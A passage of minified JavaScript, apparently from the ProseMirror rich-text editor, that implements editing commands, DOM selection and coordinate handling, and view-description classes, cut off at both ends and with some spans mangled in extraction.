n=sP(s,t);if(!n)return!1;let i=wE(n);return i?iP(s,i,e):!1},h7=(s,e,t)=>{let n=oP(s,t);if(!n)return!1;let i=kE(n);return i?iP(s,i,e):!1};function iP(s,e,t){let n=e.nodeBefore,i=n,r=e.pos-1;for(;!i.isTextblock;r--){if(i.type.spec.isolating)return!1;let u=i.lastChild;if(!u)return!1;i=u}let o=e.nodeAfter,a=o,c=e.pos+1;for(;!a.isTextblock;c++){if(a.type.spec.isolating)return!1;let u=a.firstChild;if(!u)return!1;a=u}let l=J0(s.doc,r,c,nt.empty);if(!l||l.from!=r||l instanceof Fo&&l.slice.size>=c-r)return!1;if(t){let u=s.tr.step(l);u.setSelection(_t.create(u.doc,r)),t(u.scrollIntoView())}return!0}function Zg(s,e,t=!1){for(let n=s;n;n=e=="start"?n.firstChild:n.lastChild){if(n.isTextblock)return!0;if(t&&n.childCount!=1)return!1}return!1}const rP=(s,e,t)=>{let{$head:n,empty:i}=s.selection,r=n;if(!i)return!1;if(n.parent.isTextblock){if(t?!t.endOfTextblock("backward",s):n.parentOffset>0)return!1;r=wE(n)}let o=r&&r.nodeBefore;return!o||!vt.isSelectable(o)?!1:(e&&e(s.tr.setSelection(vt.create(s.doc,r.pos-o.nodeSize)).scrollIntoView()),!0)};function wE(s){if(!s.parent.type.spec.isolating)for(let e=s.depth-1;e>=0;e--){if(s.index(e)>0)return s.doc.resolve(s.before(e+1));if(s.node(e).type.spec.isolating)break}return null}function oP(s,e){let{$cursor:t}=s.selection;return!t||(e?!e.endOfTextblock("forward",s):t.parentOffset{let n=oP(s,t);if(!n)return!1;let i=kE(n);if(!i)return!1;let r=i.nodeAfter;if(dP(s,i,e,1))return!0;if(n.parent.content.size==0&&(Zg(r,"start")||vt.isSelectable(r))){let o=J0(s.doc,n.before(),n.after(),nt.empty);if(o&&o.slice.size{let{$head:n,empty:i}=s.selection,r=n;if(!i)return!1;if(n.parent.isTextblock){if(t?!t.endOfTextblock("forward",s):n.parentOffset=0;e--){let t=s.node(e);if(s.index(e)+1{let t=s.selection,n=t instanceof vt,i;if(n){if(t.node.isTextblock||!dh(s.doc,t.from))return!1;i=t.from}else if(i=Y0(s.doc,t.from,-1),i==null)return!1;if(e){let r=s.tr.join(i);n&&r.setSelection(vt.create(r.doc,i-s.doc.resolve(i).nodeBefore.nodeSize)),e(r.scrollIntoView())}return!0},f7=(s,e)=>{let t=s.selection,n;if(t instanceof vt){if(t.node.isTextblock||!dh(s.doc,t.to))return!1;n=t.to}else if(n=Y0(s.doc,t.to,1),n==null)return!1;return e&&e(s.tr.join(n).scrollIntoView()),!0},p7=(s,e)=>{let{$from:t,$to:n}=s.selection,i=t.blockRange(n),r=i&&fm(i);return r==null?!1:(e&&e(s.tr.lift(i,r).scrollIntoView()),!0)},cP=(s,e)=>{let{$head:t,$anchor:n}=s.selection;return!t.parent.type.spec.code||!t.sameParent(n)?!1:(e&&e(s.tr.insertText(` +`).scrollIntoView()),!0)};function CE(s){for(let e=0;e{let{$head:t,$anchor:n}=s.selection;if(!t.parent.type.spec.code||!t.sameParent(n))return!1;let i=t.node(-1),r=t.indexAfter(-1),o=CE(i.contentMatchAt(r));if(!o||!i.canReplaceWith(r,r,o))return!1;if(e){let a=t.after(),c=s.tr.replaceWith(a,a,o.createAndFill());c.setSelection(Ft.near(c.doc.resolve(a),1)),e(c.scrollIntoView())}return!0},uP=(s,e)=>{let t=s.selection,{$from:n,$to:i}=t;if(t instanceof _c||n.parent.inlineContent||i.parent.inlineContent)return!1;let r=CE(i.parent.contentMatchAt(i.indexAfter()));if(!r||!r.isTextblock)return!1;if(e){let o=(!n.parentOffset&&i.index(){let{$cursor:t}=s.selection;if(!t||t.parent.content.size)return!1;if(t.depth>1&&t.after()!=t.end(-1)){let r=t.before();if(bc(s.doc,r))return e&&e(s.tr.split(r).scrollIntoView()),!0}let n=t.blockRange(),i=n&&fm(n);return i==null?!1:(e&&e(s.tr.lift(n,i).scrollIntoView()),!0)};function m7(s){return(e,t)=>{let{$from:n,$to:i}=e.selection;if(e.selection instanceof vt&&e.selection.node.isBlock)return!n.parentOffset||!bc(e.doc,n.pos)?!1:(t&&t(e.tr.split(n.pos).scrollIntoView()),!0);if(!n.depth)return!1;let r=[],o,a,c=!1,l=!1;for(let p=n.depth;;p--)if(n.node(p).isBlock){c=n.end(p)==n.pos+(n.depth-p),l=n.start(p)==n.pos-(n.depth-p),a=CE(n.node(p-1).contentMatchAt(n.indexAfter(p-1))),r.unshift(c&&a?{type:a}:null),o=p;break}else{if(p==1)return!1;r.unshift(null)}let u=e.tr;(e.selection instanceof _t||e.selection instanceof _c)&&u.deleteSelection();let h=u.mapping.map(n.pos),d=bc(u.doc,h,r.length,r);if(d||(r[0]=a?{type:a}:null,d=bc(u.doc,h,r.length,r)),!d)return!1;if(u.split(h,r.length,r),!c&&l&&n.node(o).type!=a){let p=u.mapping.map(n.before(o)),m=u.doc.resolve(p);a&&n.node(o-1).canReplaceWith(m.index(),m.index()+1,a)&&u.setNodeMarkup(u.mapping.map(n.before(o)),a)}return t&&t(u.scrollIntoView()),!0}}const v7=m7(),y7=(s,e)=>{let{$from:t,to:n}=s.selection,i,r=t.sharedDepth(n);return r==0?!1:(i=t.before(r),e&&e(s.tr.setSelection(vt.create(s.doc,i))),!0)};function b7(s,e,t){let n=e.nodeBefore,i=e.nodeAfter,r=e.index();return!n||!i||!n.type.compatibleContent(i.type)?!1:!n.content.size&&e.parent.canReplace(r-1,r)?(t&&t(s.tr.delete(e.pos-n.nodeSize,e.pos).scrollIntoView()),!0):!e.parent.canReplace(r,r+1)||!(i.isTextblock||dh(s.doc,e.pos))?!1:(t&&t(s.tr.join(e.pos).scrollIntoView()),!0)}function dP(s,e,t,n){let i=e.nodeBefore,r=e.nodeAfter,o,a,c=i.type.spec.isolating||r.type.spec.isolating;if(!c&&b7(s,e,t))return!0;let l=!c&&e.parent.canReplace(e.index(),e.index()+1);if(l&&(o=(a=i.contentMatchAt(i.childCount)).findWrapping(r.type))&&a.matchType(o[0]||r.type).validEnd){if(t){let p=e.pos+r.nodeSize,m=Fe.empty;for(let y=o.length-1;y>=0;y--)m=Fe.from(o[y].create(null,m));m=Fe.from(i.copy(m));let v=s.tr.step(new _r(e.pos-1,p,e.pos,p,new nt(m,1,0),o.length,!0)),g=v.doc.resolve(p+2*o.length);g.nodeAfter&&g.nodeAfter.type==i.type&&dh(v.doc,g.pos)&&v.join(g.pos),t(v.scrollIntoView())}return!0}let u=r.type.spec.isolating||n>0&&c?null:Ft.findFrom(e,1),h=u&&u.$from.blockRange(u.$to),d=h&&fm(h);if(d!=null&&d>=e.depth)return t&&t(s.tr.lift(h,d).scrollIntoView()),!0;if(l&&Zg(r,"start",!0)&&Zg(i,"end")){let p=i,m=[];for(;m.push(p),!p.isTextblock;)p=p.lastChild;let v=r,g=1;for(;!v.isTextblock;v=v.firstChild)g++;if(p.canReplace(p.childCount,p.childCount,v.content)){if(t){let y=Fe.empty;for(let _=m.length-1;_>=0;_--)y=Fe.from(m[_].copy(y));let b=s.tr.step(new _r(e.pos-m.length,e.pos+r.nodeSize,e.pos+g,e.pos+r.nodeSize-g,new nt(y,m.length,0),0,!0));t(b.scrollIntoView())}return!0}}return!1}function fP(s){return function(e,t){let n=e.selection,i=s<0?n.$from:n.$to,r=i.depth;for(;i.node(r).isInline;){if(!r)return!1;r--}return i.node(r).isTextblock?(t&&t(e.tr.setSelection(_t.create(e.doc,s<0?i.start(r):i.end(r)))),!0):!1}}const _7=fP(-1),S7=fP(1);function w7(s,e=null){return function(t,n){let{$from:i,$to:r}=t.selection,o=i.blockRange(r),a=o&&SE(o,s,e);return a?(n&&n(t.tr.wrap(o,a).scrollIntoView()),!0):!1}}function kx(s,e=null){return function(t,n){let i=!1;for(let r=0;r{if(i)return!1;if(!(!c.isTextblock||c.hasMarkup(s,e)))if(c.type==s)i=!0;else{let u=t.doc.resolve(l),h=u.index();i=u.parent.canReplaceWith(h,h+1,s)}})}if(!i)return!1;if(n){let r=t.tr;for(let o=0;o=2&&e.$from.node(e.depth-1).type.compatibleContent(t)&&e.startIndex==0){if(e.$from.index(e.depth-1)==0)return!1;let c=o.resolve(e.start-2);r=new Sw(c,c,e.depth),e.endIndex=0;u--)r=Fe.from(t[u].type.create(t[u].attrs,r));s.step(new _r(e.start-(n?2:0),e.end,e.start,e.end,new nt(r,0,0),t.length,!0));let o=0;for(let u=0;uo.childCount>0&&o.firstChild.type==s);return r?t?n.node(r.depth-1).type==s?E7(e,t,s,r):M7(e,t,r):!0:!1}}function E7(s,e,t,n){let i=s.tr,r=n.end,o=n.$to.end(n.depth);rv;m--)p-=i.child(m).nodeSize,n.delete(p-1,p+1);let r=n.doc.resolve(t.start),o=r.nodeAfter;if(n.mapping.map(t.end)!=t.start+r.nodeAfter.nodeSize)return!1;let a=t.startIndex==0,c=t.endIndex==i.childCount,l=r.node(-1),u=r.index(-1);if(!l.canReplace(u+(a?0:1),u+1,o.content.append(c?Fe.empty:Fe.from(i))))return!1;let h=r.pos,d=h+o.nodeSize;return n.step(new _r(h-(a?1:0),d+(c?1:0),h+1,d-1,new nt((a?Fe.empty:Fe.from(i.copy(Fe.empty))).append(c?Fe.empty:Fe.from(i.copy(Fe.empty))),a?0:1,c?0:1),a?0:1)),e(n.scrollIntoView()),!0}function x7(s){return function(e,t){let{$from:n,$to:i}=e.selection,r=n.blockRange(i,l=>l.childCount>0&&l.firstChild.type==s);if(!r)return!1;let o=r.startIndex;if(o==0)return!1;let a=r.parent,c=a.child(o-1);if(c.type!=s)return!1;if(t){let l=c.lastChild&&c.lastChild.type==a.type,u=Fe.from(l?s.create():null),h=new nt(Fe.from(s.create(null,Fe.from(a.type.create(null,u)))),l?3:1,0),d=r.start,p=r.end;t(e.tr.step(new _r(d-(l?3:1),p,d,p,h,1,!0)).scrollIntoView())}return!0}}const fi=function(s){for(var e=0;;e++)if(s=s.previousSibling,!s)return e},em=function(s){let e=s.assignedSlot||s.parentNode;return e&&e.nodeType==11?e.host:e};let B1=null;const El=function(s,e,t){let n=B1||(B1=document.createRange());return n.setEnd(s,t??s.nodeValue.length),n.setStart(s,e||0),n},I7=function(){B1=null},Ef=function(s,e,t,n){return t&&(Cx(s,e,t,n,-1)||Cx(s,e,t,n,1))},R7=/^(img|br|input|textarea|hr)$/i;function Cx(s,e,t,n,i){for(var r;;){if(s==t&&e==n)return!0;if(e==(i<0?0:Ro(s))){let o=s.parentNode;if(!o||o.nodeType!=1||Zb(s)||R7.test(s.nodeName)||s.contentEditable=="false")return!1;e=fi(s)+(i<0?0:1),s=o}else if(s.nodeType==1){let o=s.childNodes[e+(i<0?-1:0)];if(o.nodeType==1&&o.contentEditable=="false")if(!((r=o.pmViewDesc)===null||r===void 0)&&r.ignoreForSelection)e+=i;else return!1;else s=o,e=i<0?Ro(s):0}else return!1}}function Ro(s){return s.nodeType==3?s.nodeValue.length:s.childNodes.length}function L7(s,e){for(;;){if(s.nodeType==3&&e)return s;if(s.nodeType==1&&e>0){if(s.contentEditable=="false")return null;s=s.childNodes[e-1],e=Ro(s)}else if(s.parentNode&&!Zb(s))e=fi(s),s=s.parentNode;else return null}}function P7(s,e){for(;;){if(s.nodeType==3&&e2),Mo=tm||(ol?/Mac/.test(ol.platform):!1),mP=ol?/Win/.test(ol.platform):!1,pc=/Android \d/.test(fh),e_=!!Tx&&"webkitFontSmoothing"in Tx.documentElement.style,B7=e_?+(/\bAppleWebKit\/(\d+)/.exec(navigator.userAgent)||[0,0])[1]:0;function F7(s){let e=s.defaultView&&s.defaultView.visualViewport;return e?{left:0,right:e.width,top:0,bottom:e.height}:{left:0,right:s.documentElement.clientWidth,top:0,bottom:s.documentElement.clientHeight}}function bl(s,e){return typeof s=="number"?s:s[e]}function $7(s){let e=s.getBoundingClientRect(),t=e.width/s.offsetWidth||1,n=e.height/s.offsetHeight||1;return{left:e.left,right:e.left+s.clientWidth*t,top:e.top,bottom:e.top+s.clientHeight*n}}function Ax(s,e,t){let n=s.someProp("scrollThreshold")||0,i=s.someProp("scrollMargin")||5,r=s.dom.ownerDocument;for(let o=t||s.dom;o;){if(o.nodeType!=1){o=em(o);continue}let a=o,c=a==r.body,l=c?F7(r):$7(a),u=0,h=0;if(e.topl.bottom-bl(n,"bottom")&&(h=e.bottom-e.top>l.bottom-l.top?e.top+bl(i,"top")-l.top:e.bottom-l.bottom+bl(i,"bottom")),e.leftl.right-bl(n,"right")&&(u=e.right-l.right+bl(i,"right")),u||h)if(c)r.defaultView.scrollBy(u,h);else{let p=a.scrollLeft,m=a.scrollTop;h&&(a.scrollTop+=h),u&&(a.scrollLeft+=u);let v=a.scrollLeft-p,g=a.scrollTop-m;e={left:e.left-v,top:e.top-g,right:e.right-v,bottom:e.bottom-g}}let d=c?"fixed":getComputedStyle(o).position;if(/^(fixed|sticky)$/.test(d))break;o=d=="absolute"?o.offsetParent:em(o)}}function H7(s){let e=s.dom.getBoundingClientRect(),t=Math.max(0,e.top),n,i;for(let r=(e.left+e.right)/2,o=t+1;o=t-20){n=a,i=c.top;break}}return{refDOM:n,refTop:i,stack:vP(s.dom)}}function vP(s){let e=[],t=s.ownerDocument;for(let n=s;n&&(e.push({dom:n,top:n.scrollTop,left:n.scrollLeft}),s!=t);n=em(n));return e}function U7({refDOM:s,refTop:e,stack:t}){let n=s?s.getBoundingClientRect().top:0;yP(t,n==0?0:n-e)}function yP(s,e){for(let t=0;t=a){o=Math.max(m.bottom,o),a=Math.min(m.top,a);let v=m.left>e.left?m.left-e.left:m.right=(m.left+m.right)/2?1:0));continue}}else m.top>e.top&&!c&&m.left<=e.left&&m.right>=e.left&&(c=u,l={left:Math.max(m.left,Math.min(m.right,e.left)),top:m.top});!t&&(e.left>=m.right&&e.top>=m.top||e.left>=m.left&&e.top>=m.bottom)&&(r=h+1)}}return!t&&c&&(t=c,i=l,n=0),t&&t.nodeType==3?z7(t,i):!t||n&&t.nodeType==1?{node:s,offset:r}:bP(t,i)}function z7(s,e){let t=s.nodeValue.length,n=document.createRange(),i;for(let r=0;r=(o.left+o.right)/2?1:0)};break}}return n.detach(),i||{node:s,offset:0}}function AE(s,e){return s.left>=e.left-1&&s.left<=e.right+1&&s.top>=e.top-1&&s.top<=e.bottom+1}function j7(s,e){let t=s.parentNode;return t&&/^li$/i.test(t.nodeName)&&e.left(o.left+o.right)/2?1:-1}return s.docView.posFromDOM(n,i,r)}function G7(s,e,t,n){let i=-1;for(let r=e,o=!1;r!=s.dom;){let a=s.docView.nearestDesc(r,!0),c;if(!a)return null;if(a.dom.nodeType==1&&(a.node.isBlock&&a.parent||!a.contentDOM)&&((c=a.dom.getBoundingClientRect()).width||c.height)&&(a.node.isBlock&&a.parent&&!/^T(R|BODY|HEAD|FOOT)$/.test(a.dom.nodeName)&&(!o&&c.left>n.left||c.top>n.top?i=a.posBefore:(!o&&c.right-1?i:s.docView.posFromDOM(e,t,-1)}function _P(s,e,t){let n=s.childNodes.length;if(n&&t.tope.top&&i++}let l;e_&&i&&n.nodeType==1&&(l=n.childNodes[i-1]).nodeType==1&&l.contentEditable=="false"&&l.getBoundingClientRect().top>=e.top&&i--,n==s.dom&&i==n.childNodes.length-1&&n.lastChild.nodeType==1&&e.top>n.lastChild.getBoundingClientRect().bottom?a=s.state.doc.content.size:(i==0||n.nodeType!=1||n.childNodes[i-1].nodeName!="BR")&&(a=G7(s,n,i,e))}a==null&&(a=V7(s,o,e));let c=s.docView.nearestDesc(o,!0);return{pos:a,inside:c?c.posAtStart-c.border:-1}}function Ex(s){return s.top=0&&i==n.nodeValue.length?(c--,u=1):t<0?c--:l++,_m(Vc(El(n,c,l),u),u<0)}if(!s.state.doc.resolve(e-(r||0)).parent.inlineContent){if(r==null&&i&&(t<0||i==Ro(n))){let c=n.childNodes[i-1];if(c.nodeType==1)return fC(c.getBoundingClientRect(),!1)}if(r==null&&i=0)}if(r==null&&i&&(t<0||i==Ro(n))){let c=n.childNodes[i-1],l=c.nodeType==3?El(c,Ro(c)-(o?0:1)):c.nodeType==1&&(c.nodeName!="BR"||!c.nextSibling)?c:null;if(l)return _m(Vc(l,1),!1)}if(r==null&&i=0)}function _m(s,e){if(s.width==0)return s;let t=e?s.left:s.right;return{top:s.top,bottom:s.bottom,left:t,right:t}}function fC(s,e){if(s.height==0)return s;let t=e?s.top:s.bottom;return{top:t,bottom:t,left:s.left,right:s.right}}function wP(s,e,t){let n=s.state,i=s.root.activeElement;n!=e&&s.updateState(e),i!=s.dom&&s.focus();try{return t()}finally{n!=e&&s.updateState(n),i!=s.dom&&i&&i.focus()}}function Q7(s,e,t){let n=e.selection,i=t=="up"?n.$from:n.$to;return wP(s,e,()=>{let{node:r}=s.docView.domFromPos(i.pos,t=="up"?-1:1);for(;;){let a=s.docView.nearestDesc(r,!0);if(!a)break;if(a.node.isBlock){r=a.contentDOM||a.dom;break}r=a.dom.parentNode}let o=SP(s,i.pos,1);for(let a=r.firstChild;a;a=a.nextSibling){let c;if(a.nodeType==1)c=a.getClientRects();else if(a.nodeType==3)c=El(a,0,a.nodeValue.length).getClientRects();else continue;for(let l=0;lu.top+1&&(t=="up"?o.top-u.top>(u.bottom-o.top)*2:u.bottom-o.bottom>(o.bottom-u.top)*2))return!1}}return!0})}const X7=/[\u0590-\u08ac]/;function Y7(s,e,t){let{$head:n}=e.selection;if(!n.parent.isTextblock)return!1;let i=n.parentOffset,r=!i,o=i==n.parent.content.size,a=s.domSelection();return a?!X7.test(n.parent.textContent)||!a.modify?t=="left"||t=="backward"?r:o:wP(s,e,()=>{let{focusNode:c,focusOffset:l,anchorNode:u,anchorOffset:h}=s.domSelectionRange(),d=a.caretBidiLevel;a.modify("move",t,"character");let p=n.depth?s.docView.domAfterPos(n.before()):s.dom,{focusNode:m,focusOffset:v}=s.domSelectionRange(),g=m&&!p.contains(m.nodeType==1?m:m.parentNode)||c==m&&l==v;try{a.collapse(u,h),c&&(c!=u||l!=h)&&a.extend&&a.extend(c,l)}catch{}return d!=null&&(a.caretBidiLevel=d),g}):n.pos==n.start()||n.pos==n.end()}let Mx=null,xx=null,Ix=!1;function J7(s,e,t){return Mx==e&&xx==t?Ix:(Mx=e,xx=t,Ix=t=="up"||t=="down"?Q7(s,e,t):Y7(s,e,t))}const Oo=0,Rx=1,Nh=2,al=3;class t_{constructor(e,t,n,i){this.parent=e,this.children=t,this.dom=n,this.contentDOM=i,this.dirty=Oo,n.pmViewDesc=this}matchesWidget(e){return!1}matchesMark(e){return!1}matchesNode(e,t,n){return!1}matchesHack(e){return!1}parseRule(){return null}stopEvent(e){return!1}get size(){let e=0;for(let t=0;tfi(this.contentDOM);else if(this.contentDOM&&this.contentDOM!=this.dom&&this.dom.contains(this.contentDOM))i=e.compareDocumentPosition(this.contentDOM)&2;else if(this.dom.firstChild){if(t==0)for(let r=e;;r=r.parentNode){if(r==this.dom){i=!1;break}if(r.previousSibling)break}if(i==null&&t==e.childNodes.length)for(let r=e;;r=r.parentNode){if(r==this.dom){i=!0;break}if(r.nextSibling)break}}return i??n>0?this.posAtEnd:this.posAtStart}nearestDesc(e,t=!1){for(let n=!0,i=e;i;i=i.parentNode){let r=this.getDesc(i),o;if(r&&(!t||r.node))if(n&&(o=r.nodeDOM)&&!(o.nodeType==1?o.contains(e.nodeType==1?e:e.parentNode):o==e))n=!1;else return r}}getDesc(e){let t=e.pmViewDesc;for(let n=t;n;n=n.parent)if(n==this)return t}posFromDOM(e,t,n){for(let i=e;i;i=i.parentNode){let r=this.getDesc(i);if(r)return r.localPosFromDOM(e,t,n)}return-1}descAt(e){for(let t=0,n=0;te||o instanceof CP){i=e-r;break}r=a}if(i)return this.children[n].domFromPos(i-this.children[n].border,t);for(let r;n&&!(r=this.children[n-1]).size&&r instanceof kP&&r.side>=0;n--);if(t<=0){let r,o=!0;for(;r=n?this.children[n-1]:null,!(!r||r.dom.parentNode==this.contentDOM);n--,o=!1);return r&&t&&o&&!r.border&&!r.domAtom?r.domFromPos(r.size,t):{node:this.contentDOM,offset:r?fi(r.dom)+1:0}}else{let r,o=!0;for(;r=n=u&&t<=l-c.border&&c.node&&c.contentDOM&&this.contentDOM.contains(c.contentDOM))return c.parseRange(e,t,u);e=o;for(let h=a;h>0;h--){let d=this.children[h-1];if(d.size&&d.dom.parentNode==this.contentDOM&&!d.emptyChildAt(1)){i=fi(d.dom)+1;break}e-=d.size}i==-1&&(i=0)}if(i>-1&&(l>t||a==this.children.length-1)){t=l;for(let u=a+1;um&&ot){let m=a;a=c,c=m}let p=document.createRange();p.setEnd(c.node,c.offset),p.setStart(a.node,a.offset),l.removeAllRanges(),l.addRange(p)}}ignoreMutation(e){return!this.contentDOM&&e.type!="selection"}get contentLost(){return this.contentDOM&&this.contentDOM!=this.dom&&!this.dom.contains(this.contentDOM)}markDirty(e,t){for(let n=0,i=0;i=n:en){let a=n+r.border,c=o-r.border;if(e>=a&&t<=c){this.dirty=e==n||t==o?Nh:Rx,e==a&&t==c&&(r.contentLost||r.dom.parentNode!=this.contentDOM)?r.dirty=al:r.markDirty(e-a,t-a);return}else r.dirty=r.dom==r.contentDOM&&r.dom.parentNode==this.contentDOM&&!r.children.length?Nh:al}n=o}this.dirty=Nh}markParentsDirty(){let e=1;for(let t=this.parent;t;t=t.parent,e++){let n=e==1?Nh:Rx;t.dirty{if(!r)return i;if(r.parent)return r.parent.posBeforeChild(r)})),!t.type.spec.raw){if(o.nodeType!=1){let a=document.createElement("span");a.appendChild(o),o=a}o.contentEditable="false",o.classList.add("ProseMirror-widget")}super(e,[],o,null),this.widget=t,this.widget=t,r=this}matchesWidget(e){return this.dirty==Oo&&e.type.eq(this.widget.type)}parseRule(){return{ignore:!0}}stopEvent(e){let t=this.widget.spec.stopEvent;return t?t(e):!1}ignoreMutation(e){return e.type!="selection"||this.widget.spec.ignoreSelection}destroy(){this.widget.type.destroy(this.dom),super.destroy()}get domAtom(){return!0}get ignoreForSelection(){return!!this.widget.type.spec.relaxedSide}get side(){return this.widget.type.side}}class Z7 extends t_{constructor(e,t,n,i){super(e,[],t,null),this.textDOM=n,this.text=i}get size(){return this.text.length}localPosFromDOM(e,t){return e!=this.textDOM?this.posAtStart+(t?this.size:0):this.posAtStart+t}domFromPos(e){return{node:this.textDOM,offset:e}}ignoreMutation(e){return e.type==="characterData"&&e.target.nodeValue==e.oldValue}}class Mf extends t_{constructor(e,t,n,i,r){super(e,[],n,i),this.mark=t,this.spec=r}static create(e,t,n,i){let r=i.nodeViews[t.type.name],o=r&&r(t,i,n);return(!o||!o.dom)&&(o=Of.renderSpec(document,t.type.spec.toDOM(t,n),null,t.attrs)),new Mf(e,t,o.dom,o.contentDOM||o.dom,o)}parseRule(){return this.dirty&al||this.mark.type.spec.reparseInView?null:{mark:this.mark.type.name,attrs:this.mark.attrs,contentElement:this.contentDOM}}matchesMark(e){return this.dirty!=al&&this.mark.eq(e)}markDirty(e,t){if(super.markDirty(e,t),this.dirty!=Oo){let n=this.parent;for(;!n.node;)n=n.parent;n.dirty0&&(r=W1(r,0,e,n));for(let a=0;a{if(!c)return o;if(c.parent)return c.parent.posBeforeChild(c)},n,i),u=l&&l.dom,h=l&&l.contentDOM;if(t.isText){if(!u)u=document.createTextNode(t.text);else if(u.nodeType!=3)throw new RangeError("Text must be rendered as a DOM text node")}else u||({dom:u,contentDOM:h}=Of.renderSpec(document,t.type.spec.toDOM(t),null,t.attrs));!h&&!t.isText&&u.nodeName!="BR"&&(u.hasAttribute("contenteditable")||(u.contentEditable="false"),t.type.spec.draggable&&(u.draggable=!0));let d=u;return u=EP(u,n,t),l?c=new eV(e,t,n,i,u,h||null,d,l,r,o+1):t.isText?new ek(e,t,n,i,u,d,r):new ih(e,t,n,i,u,h||null,d,r,o+1)}parseRule(){if(this.node.type.spec.reparseInView)return null;let e={node:this.node.type.name,attrs:this.node.attrs};if(this.node.type.whitespace=="pre"&&(e.preserveWhitespace="full"),!this.contentDOM)e.getContent=()=>this.node.content;else if(!this.contentLost)e.contentElement=this.contentDOM;else{for(let t=this.children.length-1;t>=0;t--){let n=this.children[t];if(this.dom.contains(n.dom.parentNode)){e.contentElement=n.dom.parentNode;break}}e.contentElement||(e.getContent=()=>Fe.empty)}return e}matchesNode(e,t,n){return this.dirty==Oo&&e.eq(this.node)&&Cw(t,this.outerDeco)&&n.eq(this.innerDeco)}get size(){return this.node.nodeSize}get border(){return this.node.isLeaf?0:1}updateChildren(e,t){let n=this.node.inlineContent,i=t,r=e.composing?this.localCompositionInfo(e,t):null,o=r&&r.pos>-1?r:null,a=r&&r.pos<0,c=new sV(this,o&&o.node,e);rV(this.node,this.innerDeco,(l,u,h)=>{l.spec.marks?c.syncToMarks(l.spec.marks,n,e,u):l.type.side>=0&&!h&&c.syncToMarks(u==this.node.childCount?_s.none:this.node.child(u).marks,n,e,u),c.placeWidget(l,e,i)},(l,u,h,d)=>{c.syncToMarks(l.marks,n,e,d);let p;c.findNodeMatch(l,u,h,d)||a&&e.state.selection.from>i&&e.state.selection.to-1&&c.updateNodeAt(l,u,h,p,e)||c.updateNextNode(l,u,h,e,d,i)||c.addNode(l,u,h,e,i),i+=l.nodeSize}),c.syncToMarks([],n,e,0),this.node.isTextblock&&c.addTextblockHacks(),c.destroyRest(),(c.changed||this.dirty==Nh)&&(o&&this.protectLocalComposition(e,o),TP(this.contentDOM,this.children,e),tm&&oV(this.dom))}localCompositionInfo(e,t){let{from:n,to:i}=e.state.selection;if(!(e.state.selection instanceof _t)||nt+this.node.content.size)return null;let r=e.input.compositionNode;if(!r||!this.dom.contains(r.parentNode))return null;if(this.node.inlineContent){let o=r.nodeValue,a=aV(this.node.content,o,n-t,i-t);return a<0?null:{node:r,pos:a,text:o}}else return{node:r,pos:-1,text:""}}protectLocalComposition(e,{node:t,pos:n,text:i}){if(this.getDesc(t))return;let r=t;for(;r.parentNode!=this.contentDOM;r=r.parentNode){for(;r.previousSibling;)r.parentNode.removeChild(r.previousSibling);for(;r.nextSibling;)r.parentNode.removeChild(r.nextSibling);r.pmViewDesc&&(r.pmViewDesc=void 0)}let o=new Z7(this,r,t,i);e.input.compositionNodes.push(o),this.children=W1(this.children,n,n+i.length,e,o)}update(e,t,n,i){return this.dirty==al||!e.sameMarkup(this.node)?!1:(this.updateInner(e,t,n,i),!0)}updateInner(e,t,n,i){this.updateOuterDeco(t),this.node=e,this.innerDeco=n,this.contentDOM&&this.updateChildren(i,this.posAtStart),this.dirty=Oo}updateOuterDeco(e){if(Cw(e,this.outerDeco))return;let t=this.nodeDOM.nodeType!=1,n=this.dom;this.dom=AP(this.dom,this.nodeDOM,U1(this.outerDeco,this.node,t),U1(e,this.node,t)),this.dom!=n&&(n.pmViewDesc=void 0,this.dom.pmViewDesc=this),this.outerDeco=e}selectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.add("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&(this.nodeDOM.draggable=!0))}deselectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.remove("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&this.nodeDOM.removeAttribute("draggable"))}get domAtom(){return this.node.isAtom}}function Lx(s,e,t,n,i){EP(n,e,s);let r=new ih(void 0,s,e,t,n,n,n,i,0);return r.contentDOM&&r.updateChildren(i,0),r}class ek extends ih{constructor(e,t,n,i,r,o,a){super(e,t,n,i,r,null,o,a,0)}parseRule(){let e=this.nodeDOM.parentNode;for(;e&&e!=this.dom&&!e.pmIsDeco;)e=e.parentNode;return{skip:e||!0}}update(e,t,n,i){return this.dirty==al||this.dirty!=Oo&&!this.inParent()||!e.sameMarkup(this.node)?!1:(this.updateOuterDeco(t),(this.dirty!=Oo||e.text!=this.node.text)&&e.text!=this.nodeDOM.nodeValue&&(this.nodeDOM.nodeValue=e.text,i.trackWrites==this.nodeDOM&&(i.trackWrites=null)),this.node=e,this.dirty=Oo,!0)}inParent(){let e=this.parent.contentDOM;for(let t=this.nodeDOM;t;t=t.parentNode)if(t==e)return!0;return!1}domFromPos(e){return{node:this.nodeDOM,offset:e}}localPosFromDOM(e,t,n){return e==this.nodeDOM?this.posAtStart+Math.min(t,this.node.text.length):super.localPosFromDOM(e,t,n)}ignoreMutation(e){return e.type!="characterData"&&e.type!="selection"}slice(e,t,n){let i=this.node.cut(e,t),r=document.createTextNode(i.text);return new ek(this.parent,i,this.outerDeco,this.innerDeco,r,r,n)}markDirty(e,t){super.markDirty(e,t),this.dom!=this.nodeDOM&&(e==0||t==this.nodeDOM.nodeValue.length)&&(this.dirty=al)}get domAtom(){return!1}isText(e){return this.node.text==e}}class CP extends t_{parseRule(){return{ignore:!0}}matchesHack(e){return this.dirty==Oo&&this.dom.nodeName==e}get domAtom(){return!0}get ignoreForCoords(){return this.dom.nodeName=="IMG"}}class eV extends ih{constructor(e,t,n,i,r,o,a,c,l,u){super(e,t,n,i,r,o,a,l,u),this.spec=c}update(e,t,n,i){if(this.dirty==al)return!1;if(this.spec.update&&(this.node.type==e.type||this.spec.multiType)){let r=this.spec.update(e,t,n);return r&&this.updateInner(e,t,n,i),r}else return!this.contentDOM&&!e.isLeaf?!1:super.update(e,t,n,i)}selectNode(){this.spec.selectNode?this.spec.selectNode():super.selectNode()}deselectNode(){this.spec.deselectNode?this.spec.deselectNode():super.deselectNode()}setSelection(e,t,n,i){this.spec.setSelection?this.spec.setSelection(e,t,n.root):super.setSelection(e,t,n,i)}destroy(){this.spec.destroy&&this.spec.destroy(),super.destroy()}stopEvent(e){return this.spec.stopEvent?this.spec.stopEvent(e):!1}ignoreMutation(e){return 